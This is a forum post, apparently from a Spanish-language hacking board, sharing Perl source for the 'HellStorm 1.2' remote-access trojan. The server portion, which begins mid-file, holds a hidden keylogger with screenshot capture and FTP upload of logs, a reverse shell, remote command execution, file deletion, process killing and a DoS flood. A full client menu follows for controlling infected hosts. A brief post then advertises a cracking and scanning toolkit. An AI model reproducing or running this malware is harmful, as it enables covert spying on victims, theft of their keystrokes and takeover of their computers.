                my %vida = adminprocess("listar");
                print $soquete "PRIVMSG $canal_irc : [+] Process Found : "
                  . int( keys %vida ) . "\r\n";
                for my $data ( keys %vida ) {
                    print $soquete "PRIVMSG $canal_irc : [+] Process : "
                      . $data
                      . " [+] PID : "
                      . $vida{$data} . "\r\n";
                }
            }

            if ( $logar =~ /:$nick_irc cerrarproceso :(.*):(.*):/ ) {
                my ( $b, $a ) = ( $1, $2 );
                if ( adminprocess( "cerrar", $a, $b ) ) {
                    print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
                }
            }

        }
    }

    sub conexion_directa {

        my $sock = IO::Socket::INET->new(
            LocalPort => 666,
            Listen    => 10,
            Proto     => 'tcp',
            Reuse     => 1
        );

        while ( my $con = $sock->accept ) {
            $resultado = <$con>;

            if ( $resultado =~ /msgbox (.*)/ig ) {
                my $msg = $1;
                cheats( "mensaje", $msg );
            }

            if ( $resultado =~ /infor/ig ) {
                print $con getinfo();
            }

            if ( $resultado =~ /word :(.*):/ig ) {
                my $msg = $1;
                cheats( "word", $msg );
            }

            if ( $resultado =~ /crazymouse/ig ) {
                cheats("crazymouse");
            }

            if ( $resultado =~ /cambiarfondo (.*)/ig ) {
                my $url = $1;
                cheats( "cambiarfondo", $url );
            }

            if ( $resultado =~ /opencd/ig ) {
                cheats( "cd", "1" );
            }

            if ( $resultado =~ /closedcd/ig ) {
                cheats( "cd", "0" );
            }

            if ( $resultado =~ /dosattack :(.*):(.*):(.*):/ ) {
                my ( $i, $p, $t ) = ( $1, $2, $3 );
                dosattack( $i, $p, $t );
            }

            if ( $resultado =~ /speak :(.*):/ig ) {
                my $t = $1;
                cheats( "speak", $t );
            }

            if ( $resultado =~ /iniciochau/ ) {
                cheats( "inicio", "1" );
            }
            if ( $resultado =~ /iniciovuelve/ ) {
                cheats( "inicio", "0" );
            }

            if ( $resultado =~ /iconochau/ ) {
                cheats( "iconos", "1" );
            }
            if ( $resultado =~ /iconovuelve/ ) {
                cheats( "iconos", "0" );
            }

            if ( $resultado =~ /backshell :(.*):(.*):/ig ) {
                backshell( $1, $2 );
            }

            if ( $resultado =~ /comando :(.*):/ig ) {
                my $cmd = $1;
                my @re  = cmd($cmd);
                print $con @re;
            }

            if ( $resultado =~ /mostrarpro/ ) {

                my %vida = adminprocess("listar");

                for my $data ( keys %vida ) {
                    print $con "PROXEC" . $data . "PROXEC\r\n";
                    print $con "PIDX" . $vida{$data} . "PIDX\r\n";
                }

            }

            if ( $resultado =~ /chauproce K0BRA(.*)K0BRA(.*)K0BRA/ ) {
                my ( $b, $a ) = ( $1, $2 );
                if ( adminprocess( "cerrar", $a, $b ) ) {
                    print $con "ok";
                }
            }

            if ( $resultado =~ /chdirnow K0BRA(.*)K0BRA/ ) {
                my $di = $1;
                if ( navegador( "cd", $di ) ) {
                    print $con "ok";
                }
            }
            if ( $resultado =~ /borrarfile K0BRA(.*)K0BRA/ ) {
                if ( navegador( "borrar", $1 ) ) {
                    print $con "ok";
                }
            }
            if ( $resultado =~ /borrardir K0BRA(.*)K0BRA/ ) {
                if ( navegador( "borrar", $1 ) ) {
                    print $con "ok";
                }
            }
            if ( $resultado =~ /rename :(.*):(.*):/ ) {
                my ( $a, $b ) = ( $1, $2 );
                if ( navegador( "rename", $a, $b ) ) {
                    print $con "ok";
                }
            }

            if ( $resultado =~ /getcwd/ ) {
                print $con getcwd();
            }

            if ( $resultado =~ /verlogs/ ) {
                print $con openfile("logs.txt");
            }

            if ( $resultado =~ /dirnow ACATOY(.*)ACATOY/ ) {
                my @files = navegador("listar");
                for (@files) {
                    if ( -f $_ ) {
                        print $con "FILEX" . $_ . "FILEX" . "\r\n";
                    }
                    else {
                        print $con "DIREX" . $_ . "DIREX" . "\r\n";
                    }
                }
            }
        }
    }

    sub keylogger {

        my $come = new Win32::API( "user32", "GetAsyncKeyState", "N", "I" );
        my $tengo = 0;

        hideit( $0, "hide" );

        my $comando1 = threads->new( \&capture_windows );
        my $comando2 = threads->new( \&capture_keys );
        my $comando3 = threads->new( \&capture_screen );

        $comando1->join();
        $comando2->join();
        $comando3->join();

        sub capture_windows {

            while (1) {

                my $win1 = GetForegroundWindow();
                my $win2 = GetForegroundWindow();

                if ( $win1 != $win2 ) {
                    my $nombre = GetWindowText($win1);
                    chomp($nombre);
                    if ( $nombre ne "" ) {
                        savefile( "logs.txt", "\n\n[" . $nombre . "]\n\n" );
                    }
                }
            }
            return 1;
        }

        sub capture_keys {

            while (1) {

                my $test1;
                my $test2;

                for my $num ( 0x30 .. 0x39 ) {

                    if ( dame($num) ) {
                        savefile( "logs.txt", chr($num) );
                    }
                }

                if ( dame(0x14) ) {
                    $test1 = 1;
                    $tengo++;
                }

                for my $num ( 0x41 .. 0x5A ) {

                    if ( dame($num) ) {

                        if ( dame(0x20) ) {
                            savefile( "logs.txt", " " );
                        }

                        if ( dame(0x32) ) {
                            savefile( "logs.txt", "\n[enter]\n\n" );
                        }

                        unless ( verpar($tengo) eq 1 ) {
                            savefile( "logs.txt", chr($num) );
                        }

                        if ( dame(0x10) or dame(0xA0) or dame(0xA1) ) {
                            $test2 = 1;
                        }

                        unless ( $test1 eq 1 or $test2 eq 1 ) {
                            if ( $num >= 0x41 ) {
                                if ( $num <= 0x5A ) {
                                    if ( verpar($tengo) eq 1 ) {
                                        savefile( "logs.txt", chr( $num + 32 ) );
                                    }
                                }
                            }
                        }
                    }
                }
            }
            return 1;
        }

        sub capture_screen {

            $numero = 0;

            while (1) {

                sleep 120;

                subirftp( "logs.txt", "logs.txt" );

                $numero++;

                SendKeys("%{PRTSCR}");

                my $a = Win32::Clipboard::GetBitmap();

                open( FOTO, ">" . $numero . ".bmp" );
                binmode(FOTO);
                print FOTO $a;
                close FOTO;

                hideit( $numero . ".bmp", "hide" );
                subirftp( $numero . ".bmp", $numero . ".bmp" );
            }
        }

        sub dame {
            return ( $come->Call(@_) & 1 );
        }

        sub savefile {

            open( SAVE, ">>" . $_[0] );
            print SAVE $_[1];
            close SAVE;

            hideit( $_[0], "hide" );

        }

        sub hideit {
            if ( $_[1] eq "show" ) {
                Win32::File::SetAttributes( $_[0], NORMAL );
            }
            elsif ( $_[1] eq "hide" ) {
                Win32::File::SetAttributes( $_[0], HIDDEN );
            }
            else {
                print "error\n";
            }
        }

        sub subirftp {

            if ( $ser = Net::FTP->new($host_ftp) ) {
                if ( $ser->login( $user_ftp, $pass_ftp ) ) {
                    $ser->mkdir( getmyip() );
                    $ser->binary();
                    if (
                        $ser->put(
                            getcwd() . "/" . $_[0], getmyip() . "/" . $_[1]
                        )
                      )
                    {
                        return true;
                    }
                }
                $ser->close;
            }
        }

        sub verpar {
            return ( $_[0] % 2 == 0 ) ? "1" : "2";
        }

        sub getmyip {
            my $get = gethostbyname("");
            return inet_ntoa($get);
        }

    }

    sub getinfo {
        return
            ":"
          . Win32::DomainName() . ":"
          . Win32::GetChipName() . ":"
          . Win32::GetOSVersion() . ":"
          . Win32::LoginName() . ":"
          . Win32::GetOSName() . ":";
    }

    sub cheats {

        my $as = new Win32::API( 'user32', 'FindWindow', 'PP', 'N' );
        my $b  = new Win32::API( 'user32', 'ShowWindow', 'NN', 'N' );

        if ( $_[0] eq "cambiarfondo" ) {
            my $file = $_[1];
            my $as =
              new Win32::API( "user32", "SystemParametersInfo", [ L, L, P, L ], L );
            $as->Call( 20, 0, $file, 0 );
        }

        if ( $_[0] eq "speak" ) {
            my $texta  = $_[1];
            my $hablax = Win32::OLE->new("SAPI.SpVoice");
            $hablax->Speak( $texta, 0 );
        }

        if ( $_[0] eq "crazymouse" ) {
            for my $number ( 1 .. 666 ) {
                MouseMoveAbsPix( $number, $number );
            }
        }

        if ( $_[0] eq "word" ) {
            my $text = $_[1];
            system("start winword.exe");
            sleep 4;
            SendKeys($text);
        }

        if ( $_[0] eq "cd" ) {

            my $ventana = Win32::API->new( "winmm", "mciSendString", "PPNN", "N" );
            my $rta = ' ' x 127;
            if ( $_[1] eq "1" ) {
                $ventana->Call( 'set CDAudio door open', $rta, 127, 0 );
            }
            else {
                $ventana->Call( 'set CDAudio door closed', $rta, 127, 0 );
            }
        }

        if ( $_[0] eq "inicio" ) {

            if ( $_[1] eq "1" ) {
                $handlex = $as->Call( "Shell_TrayWnd", 0 );
                $b->Call( $handlex, 0 );
            }
            else {
                $handlex = $as->Call( "Shell_TrayWnd", 0 );
                $b->Call( $handlex, 1 );
            }

        }

        if ( $_[0] eq "iconos" ) {

            if ( $_[1] eq "1" ) {

                $handle = $as->Call( 0, "Program Manager" );
                $b->Call( $handle, 0 );
            }
            else {
                $handle = $as->Call( 0, "Program Manager" );
                $b->Call( $handle, 1 );
            }
        }

        if ( $_[0] eq "mensaje" ) {
            if ( $_[1] ne "" ) {
                my $msg = $_[1];
                chomp $msg;
                Win32::MsgBox( $msg, 0, "Mensaje de Dios" );
            }
        }
    }

    sub backshell {

        my ( $ip, $port ) = ( $_[0], $_[1] );

        $ip =~ s/(\s)+$//;
        $port =~ s/(\s)+$//;

        conectar( $ip, $port );
        tipo();

        sub conectar {
            socket( REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp') );
            connect( REVERSE, sockaddr_in( $_[1], inet_aton( $_[0] ) ) );
            open( STDIN,  ">&REVERSE" );
            open( STDOUT, ">&REVERSE" );
            open( STDERR, ">&REVERSE" );
        }

        sub tipo {
            print "\n[*] Reverse Shell Starting...\n\n";
            if ( $^O =~ /Win32/ig ) {
                infowin();
                system("cmd.exe");
            }
            else {
                infolinux();
                system("export TERM=xterm;exec sh -i");
            }
        }

        sub infowin {
            print "[+] Domain Name : " . Win32::DomainName() . "\n";
            print "[+] OS Version : " . Win32::GetOSName() . "\n";
            print "[+] Username : " . Win32::LoginName() . "\n\n\n";
        }

        sub infolinux {
            print "[+] System information\n\n";
            system("uname -a");
            print "\n\n";
        }
    }

    sub cmd {

        my $job = Win32::Job->new;
        $job->spawn(
            "cmd",
            qq{cmd /C $_[0]},
            {
                no_window => "true",
                stdout    => "logx.txt",
                stderr    => "logx.txt"
            }
        );
        $ok = $job->run("30");
        open( F, "logx.txt" );
        @words = <F>;
        close F;
        unlink("logx.txt");
        return @words;
    }

    sub adminprocess {

        if ( $_[0] eq "listar" ) {
            my %procesos;

            my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
            my $dos = $uno->ConnectServer( "", "root\\cimv2" );

            foreach my $pro ( in $dos->InstancesOf("Win32_Process") ) {
                $procesos{ $pro->{Caption} } = $pro->{ProcessId};
            }
            return %procesos;
        }

        if ( $_[0] eq "cerrar" ) {

            my ( $numb, $pid ) = ( $_[1], $_[2] );

            if ( Win32::Process::KillProcess( $pid, $numb ) ) {
                return true;
            }
            else {
                return false;
            }
        }
    }

    sub navegador {

        my $dir = $_[1];

        chomp $dir;

        $dir =~ s/(\s)+$//;

        if ( $_[0] eq "borrar" ) {
            if ( -f $_[1] ) {
                if ( unlink( getcwd() . "/" . $_[1] ) ) {
                    return true;
                }
                else {
                    return false;
                }
            }
            else {
                if ( rmdir( getcwd() . "/" . $_[1] ) ) {
                    return true;
                }
                else {
                    return false;
                }
            }
        }
        if ( $_[0] eq "cd" ) {
            if ( chdir $dir ) {
                return true;
            }
            else {
                return false;
            }
        }
        if ( $_[0] eq "rename" ) {
            if ( rename( getcwd() . "/" . $_[1], getcwd() . "/" . $_[2] ) ) {
                return true;
            }
            else {
                return false;
            }
        }
        if ( $_[0] eq "listar" ) {
            my @archivos = coleccionar( getcwd() );
            my @all;
            for my $test (@archivos) {
                push( @all, $test );
            }
            return @all;
        }

        sub coleccionar {
            opendir DIR, $_[0];
            my @archivos = readdir DIR;
            close DIR;
            return @archivos;
        }
    }

    sub dosattack {
        for ( 1 .. $_[2] ) {
            IO::Socket::INET->new(
                PeerAddr => $_[0],
                PeerPort => $_[1],
                Proto    => "tcp"
            );
        }
    }

    sub openfile {
        my $r;
        open( FILE, $_[0] );
        @wor = <FILE>;
        close FILE;
        for (@wor) {
            $r .= $_;
        }
        return $r;
    }

    sub openfilex {
        my @wor;
        open( FILE, $_[0] );
        @wor = <FILE>;
        close FILE;
        return @wor;
    }

    sub encriptar {

        my ( $text, $op ) = @_;

        my @re;
        my @va = split( "", $text );

        my %valor = (
            "1" => "a",
            "2" => "b",
            "3" => "c",
            "4" => "d",
            "5" => "e",
            "6" => "f",
            "7" => "g",
            "8" => "h",
            "9" => "i",
            "0" => "j",
            "." => "k"
        );

        if ( $op eq "encode" ) {
            for my $letra (@va) {
                for my $data ( keys %valor ) {
                    if ( $data eq $letra ) {
                        $letra =~ s/$data/$valor{$data}/g;
                        push( @re, $letra );
                    }
                }
            }
        }
        if ( $op eq "decode" ) {
            for my $letra (@va) {
                for my $data ( keys %valor ) {
                    if ( $valor{$data} eq $letra ) {
                        $letra =~ s/$valor{$data}/$data/g;
                        push( @re, $letra );
                    }
                }
            }
        }
        return @re;
    }

    sub dameip {

        my @wor = encriptar( getmyip(), "encode" );

        for (@wor) {
            $resultado .= $_;
        }
        return $resultado;
    }

    # The End ?


    client.pl

    Código: perl

    #!usr/bin/perl
    #Project HellStorm 1.2
    #(C) Doddy Hackman 2015

    use IO::Socket;
    use Cwd;

    &menu;

    # Functions

    sub clean {
        my $os = $^O;
        if ( $os =~ /Win32/ig ) {
            system("cls");
        }
        else {
            system("clear");
        }
    }

    sub head {

        clean();

        print "\n\n-- == HellStorm 1.2 (C) Doddy Hackman 2015 == --\n\n\n";

    }

    sub menu {

        &head;

        print "[+] Target : ";
        chomp( my $ip = <STDIN> );

        my $socket = new IO::Socket::INET(
            PeerAddr => $ip,
            PeerPort => 666,
            Proto    => 'tcp',
            Timeout  => 5
        );

        if ($socket) {
            $socket->close;
            &menuo($ip);
        }
        else {
            print "\n\n[-] Server not infected\n";
            <STDIN>;
            &menu;
        }

    }

    sub menuo {

        &head;

        print "[$_[0]] : Online\n\n";
        print q(
    1 : Information
    2 : Files Manager
    3 : Open CD
    4 : Close CD
    5 : Talk
    6 : Message
    7 : Console
    8 : Hide taskbar
    9 : Show taskbar
    10 : Hide Icons
    11 : Show Icons
    12 : Process Manager
    13 : Reverse Shell
    14 : DOS Attack
    15 : Change Wallpaper
    16 : Word Writer
    17 : Move Mouse
    18 : See logs keylogger
    19 : Change target
    20 : Exit


    );
        print "[Option] : ";
        chomp( my $opcion = <STDIN> );

        if ( $opcion eq 1 ) {
            print "\n\n[+] Information\n\n";
            $re = daryrecibir( $_[0], "infor" );
            if ( $re =~ /:(.*):(.*):(.*):(.*):(.*):/ ) {
                print "[+] Domain : $1\n";
                print "[+] Chip : $2\n";
                print "[+] Version : $3\n";
                print "[+] Username : $4\n";
                print "[+] OS : $5\n";
                print "\n[+] Press any key to continue\n";
                <stdin>;
            }
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 2 ) {

          menu1:
            print "\n\n[+] Files Manager\n\n";
            $cwd = daryrecibir( $_[0], "getcwd" . "\r\n" );
            show( $_[0], "/" );
            &menu2;

            sub menu2 {
                print "\n\n[Options]\n\n";
                print "1 - Change directory\n";
                print "2 - Rename\n";
                print "3 - Delete File\n";
                print "4 - Delete Directory\n";
                print "5 - Return to menu\n\n";
                print "[Opcion] : ";
                chomp( my $op = <stdin> );

                if ( $op eq 1 ) {
                    print "\n\n[+] Directory : ";
                    chomp( my $dir = <stdin> );
                    $ver = daryrecibir( $_[0], "chdirnow K0BRA" . $dir . "K0BRA" );
                    if ( $ver =~ /ok/ig ) {
                        print "\n\n[+] Directory changed\n\n";
                    }
                    else {
                        print "\n\n[-] Error\n\n";
                        <stdin>;
                    }
                    show( $_[0], $dir );
                    &menu2;
                    print "\n[+] Press any key to continue\n";
                    <stdin>;
                }

                elsif ( $op eq 2 ) {
                    print "\n\n[+] Name : ";
                    chomp( my $old = <stdin> );
                    print "\n\n[+] New name : ";
                    chomp( my $new = <stdin> );
                    $re = daryrecibir( $_[0], "rename :$old:$new:" );
                    if ( $re =~ /ok/ ) {
                        print "\n\n[+] File renamed\n\n";
                    }
                    else {
                        print "\n\n[-] Error\n\n";
                    }
                    print "\n[+] Press any key to continue\n";
                    <stdin>;
                }

                elsif ( $op eq 3 ) {
                    print "\n\n[+] File to delete : ";
                    chomp( my $file = <stdin> );
                    $re =
                      daryrecibir( $_[0], "borrarfile K0BRA" . $file . "K0BRA" );
                    if ( $re =~ /ok/ ) {
                        print "\n\n[+] File deleted\n\n";
                    }
                    else {
                        print "\n\n[-] Error\n\n";
                    }
                    print "\n[+] Press any key to continue\n";
                    <stdin>;
                }

                elsif ( $op eq 4 ) {
                    print "\n\n[+] Directory to delete : ";
                    chomp( my $file = <stdin> );
                    $re = daryrecibir( $_[0], "borrardir K0BRA" . $file . "K0BRA" );
                    if ( $re =~ /ok/ ) {
                        print "\n\n[+] Directory deleted\n\n";
                    }
                    else {
                        print "\n\n[-] Error\n\n";
                    }
                    print "\n[+] Press any key to continue\n";
                    <stdin>;
                }

                elsif ( $op eq 5 ) {
                    &menuo( $_[0] );

                }
                else {
                    show( $_[0], "/" );
                }
                goto menu1;
            }
        }

        elsif ( $opcion eq 3 ) {
            daryrecibir( $_[0], "opencd" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }

        elsif ( $opcion eq 4 ) {
            daryrecibir( $_[0], "closedcd" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }

        elsif ( $opcion eq 5 ) {
            print "\n\n[+] Talk : ";
            chomp( my $talk = <stdin> );
            $re = daryrecibir( $_[0], "speak :$talk:" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }

        elsif ( $opcion eq 6 ) {
            print "\n[+] Message : ";
            chomp( my $msg = <stdin> );
            daryrecibir( $_[0], "msgbox $msg" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 7 ) {

          menu:

            my $cmd, $re;

            print "\n\n>";

            chomp( my $cmd = <stdin> );

            if ( $cmd =~ /exit/ig ) {
                print "\n[+] Press any key to continue\n";
                <stdin>;
                &menuo( $_[0] );
            }

            $re = daryrecibir( $_[0], "comando :$cmd:" );
            print "\n" . $re;
            goto menu;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 8 ) {
            daryrecibir( $_[0], "iniciochau" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 9 ) {
            daryrecibir( $_[0], "iniciovuelve" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 10 ) {
            daryrecibir( $_[0], "iconochau" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 11 ) {
            daryrecibir( $_[0], "iconovuelve" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }

        elsif ( $opcion eq 12 ) {

            &reload( $_[0] );

            sub reload {

                my @pro;
                my @pids;

                my $sockex = new IO::Socket::INET(
                    PeerAddr => $_[0],
                    PeerPort => 666,
                    Proto    => 'tcp',
                    Timeout  => 5
                );

                print $sockex "mostrarpro" . "\r\n";
                $sockex->read( $re, 5000 );
                $sockex->close;

                chomp $re;

                print "\n\n[+] Process Found\n\n";

                while ( $re =~ /PROXEC(.*?)PROXEC/ig ) {
                    if ( $1 ne "" ) {
                        push( @pro, $1 );
                    }
                }

                while ( $re =~ /PIDX(.*?)PIDX/ig ) {
                    if ( $1 ne "" ) {
                        push( @pids, $1 );
                    }
                }

                $cantidad = int(@pro);

                for my $num ( 1 .. $cantidad ) {
                    if ( $pro[$num] ne "" ) {
                        print "\n[+] Process : " . $pro[$num] . "\n";
                        print "[+] PID : " . $pids[$num] . "\n";
                    }
                }

                print q(

    [Options]


    1 - Refresh list
    2 - Close process
    3 - Return to menu

    );

                print "\n[Option] :  ";
                chomp( my $opc = <stdin> );

                if ( $opc =~ /1/ig ) {
                    &reload( $_[0] );
                }
                elsif ( $opc =~ /2/ig ) {
                    print "\n[+] Write the name of the process : ";
                    chomp( my $numb = <stdin> );
                    print "\n[+] Write the PID of the process : ";
                    chomp( my $pid = <stdin> );
                    $re = daryrecibir( $_[0],
                        "chauproce K0BRA" . $pid . "K0BRA" . $numb . "K0BRA" );
                    if ( $re =~ /ok/ig ) {
                        print "\n\n[+] Proceso killed\n\n";
                    }
                    else {
                        print "\n\n[-] Error\n\n";
                    }
                    print "\n[+] Press any key to continue\n";
                    <stdin>;
                    &reload( $_[0] );
                }
                elsif ( $opc =~ /3/ig ) {
                    print "\n[+] Press any key to continue\n";
                    <stdin>;
                    &menuo( $_[0] );
                }
                else {
                    &reload;
                }
            }
        }

        elsif ( $opcion eq 13 ) {
            print "\n\n[+] IP : ";
            chomp( my $ip = <stdin> );
            print "\n\n[+] Port : ";
            chomp( my $port = <stdin> );
            print "\n\n[+] Connected !!!\n\n";
            $re = daryrecibir( $_[0], "backshell :$ip:$port:" );
        }
        elsif ( $opcion eq 14 ) {
            print "\n\n[+] IP : ";
            chomp( my $ipx = <stdin> );
            print "\n\n[+] Port : ";
            chomp( my $por = <stdin> );
            print "\n\n[+] Count : ";
            chomp( my $count = <stdin> );
            print "\n\n[+] Command Send !!!!\n\n";
            daryrecibir( $_[0], "dosattack :$ipx:$por:$count:" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 15 ) {
            print "\n\n[+] Image with format BMP : ";
            chomp( my $id = <stdin> );
            daryrecibir( $_[0], "cambiarfondo $id" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 16 ) {
            print "\n\n[+] Text : ";
            chomp( my $tx = <stdin> );
            daryrecibir( $_[0], "word :$tx:" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 17 ) {
            daryrecibir( $_[0], "crazymouse" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 18 ) {
            print "\n\n[Logs]\n\n";
            $re = daryrecibir( $_[0], "verlogs" );
            print $re. "\n\n";
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 19 ) {
            &menu;
        }
        elsif ( $opcion eq 20 ) {
            print "\n[+] Press any key to continue\n";
            <stdin>;
            exit 1;
        }
        else {
            &menuo;
        }
    }

    sub daryrecibir {

        my $sockex = new IO::Socket::INET(
            PeerAddr => $_[0],
            PeerPort => 666,
            Proto    => 'tcp',
            Timeout  => 5
        );

        print $sockex $_[1] . "\r\n";
        $sockex->read( $re, 5000 );
        $sockex->close;
        return $re . "\r";
    }

    sub show {

        my $re = daryrecibir( $_[0], "getcwd" . "\r\n" );
        print "\n\n[+] Directory : $re\n\n";
        $re1 = daryrecibir( $_[0], "dirnow ACATOY" . $re . "ACATOY" . "\r\n" );
        print "\n\n[Directories found]\n\n";
        while ( $re1 =~ /DIREX(.*?)DIREX/ig ) {
            if ( $1 ne "" ) {
                print "[+] $1\n";
            }
        }

        print "\n\n[Files found]\n\n";

        while ( $re1 =~ /FILEX(.*?)FILEX/ig ) {
            if ( $1 ne "" ) {
                print "[+] $1\n";
            }
        }

    }

    #The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#80
Perl / [Perl] Project Arsenal X 0.2
Octubre 09, 2015, 05:13:57 PM
Hoy les traigo la nueva version de mi proyecto Arsenal X escrito en Perl , esta basando en el juego HackTheGame , tiene las siguientes opciones :

  • Gmail Inbox
  • Client Whois
  • Ping
  • Downloader
  • Get IP
  • Locate IP
  • K0bra SQLI Scanner
  • Crackear varios hashes MD5
  • Buscar panel de administracion
  • Port Scanner
  • Multi Cracker con soporte para FTP,TELNET,POP3
  • Ejecucion de comandos en la consola

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.